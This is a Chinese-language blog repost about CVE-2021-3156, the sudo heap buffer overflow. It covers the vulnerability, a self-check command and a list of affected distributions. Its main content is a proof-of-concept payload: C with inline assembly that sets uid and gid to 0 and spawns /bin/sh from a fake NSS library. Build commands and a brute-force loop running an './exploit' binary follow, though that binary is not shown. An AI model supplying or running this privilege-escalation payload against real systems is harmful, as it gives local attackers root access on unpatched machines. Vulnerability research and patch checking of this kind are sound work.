zoukankan      html  css  js  c++  java
  • CVE-2021-3156:Sudo 堆缓冲区溢出漏洞 POC

    漏洞详情

    CVE-2021-3156: 缓冲区溢出漏洞

    在sudo解析命令行参数的方式中发现了基于堆的缓冲区溢出。任何本地用户(普通用户和系统用户,sudoer和非sudoers)都可以利用此漏洞,而无需进行身份验证,攻击者不需要知道用户的密码。成功利用此漏洞可以获得root权限。

    用户可以使用如下方法进行自查:
    以非root用户登录系统,并使用命令sudoedit -s /

    • 如果响应一个以sudoedit:开头的报错,那么表明存在漏洞。
    • 如果响应一个以usage:开头的报错,那么表明补丁已经生效。

    漏洞测试成功的Linux发行版:

    Ubuntu 16.04.5 kernel 4.15.0-29-generic
    Ubuntu 18.04.1 kernel 4.15.0-20-generic
    Ubuntu 19.04 kernel 5.0.0-15-generic
    Ubuntu Mate 18.04.2 kernel 4.18.0-15-generic
    Linux Mint 19 kernel 4.15.0-20-generic
    Xubuntu 16.04.4 kernel 4.13.0-36-generic
    ElementaryOS 0.4.1 4.8.0-52-generic
    Backbox 6 kernel 4.18.0-21-generic
    Parrot OS 4.5.1 kernel 4.19.0-
    parrot1-13t-amd64
    Kali kernel 4.19.0-kali5-amd64
    Redcore 1806 (LXQT) kernel 4.16.16-
    redcoreMX 18.3 kernel 4.19.37-2~mx17+1
    RHEL 8.0 kernel 4.18.0-80.el8.x86_64
    Debian 9.4.0 kernel 4.9.0-6-amd64
    Debian 10.0.0 kernel 4.19.0-5-amd64
    Devuan 2.0.0 kernel 4.9.0-6-amd64
    SparkyLinux 5.8 kernel 4.19.0-5-amd64
    Fedora Workstation 30 kernel 5.0.9-301.fc30.x86_64
    Manjaro 18.0.3 kernel 4.19.23-1-
    MANJAROMageia 6 kernel 4.9.35-desktop-1.mga6
    Antergos 18.7 kernel 4.17.6-1-ARCH

    POC

    static void __attribute__((constructor)) _init(void) {
      __asm __volatile__(
          "addq $64, %rsp;"
          // setuid(0);
          "movq $105, %rax;"
          "movq $0, %rdi;"
          "syscall;"
          // setgid(0);
          "movq $106, %rax;"
          "movq $0, %rdi;"
          "syscall;"
          // dup2(0, 1);
          "movq $33, %rax;"
          "movq $0, %rdi;"
          "movq $1, %rsi;"
          "syscall;"
          // dup2(0, 2);
          "movq $33, %rax;"
          "movq $0, %rdi;"
          "movq $2, %rsi;"
          "syscall;"
          // execve("/bin/sh");
          "movq $59, %rax;"
          "movq $0x0068732f6e69622f, %rdi;"
          "pushq %rdi;"
          "movq %rsp, %rdi;"
          "movq $0, %rdx;"
          "pushq %rdx;"
          "pushq %rdi;"
          "movq %rsp, %rsi;"
          "syscall;"
          // exit(0);
          "movq $60, %rax;"
          "movq $0, %rdi;"
          "syscall;");
    }
    

    上面的代码保存后为la.c执行

    
    cd /tmp
    mkdir libnss_X
    gcc -fpic -shared -nostdlib -o libnss_X/X.so.2 la.c
    for i in {1..128000}; do echo -n "try number $i "; ./exploit; done
    

  • 相关阅读:
    第十七天——类与类之间的关系(一)
    Eclipse替代keil
    ssm_crud 测试mapper生成结果
    ssm_crud mybatis-generator逆向生成
    ssm_crud 搭建项目
    ssm_crud 目录篇
    mybatis SQL语句 打印
    Caused by: java.lang.ClassNotFoundException: javax.servlet.SessionCookieConfig
    Caused by: java.io.FileNotFoundException: class path resource [applicationContext.xml] cannot be ope
    Spring Security开发安全的REST服务 下载
  • 原文地址:https://www.cnblogs.com/potatsoSec/p/14339620.html
Copyright © 2011-2022 走看看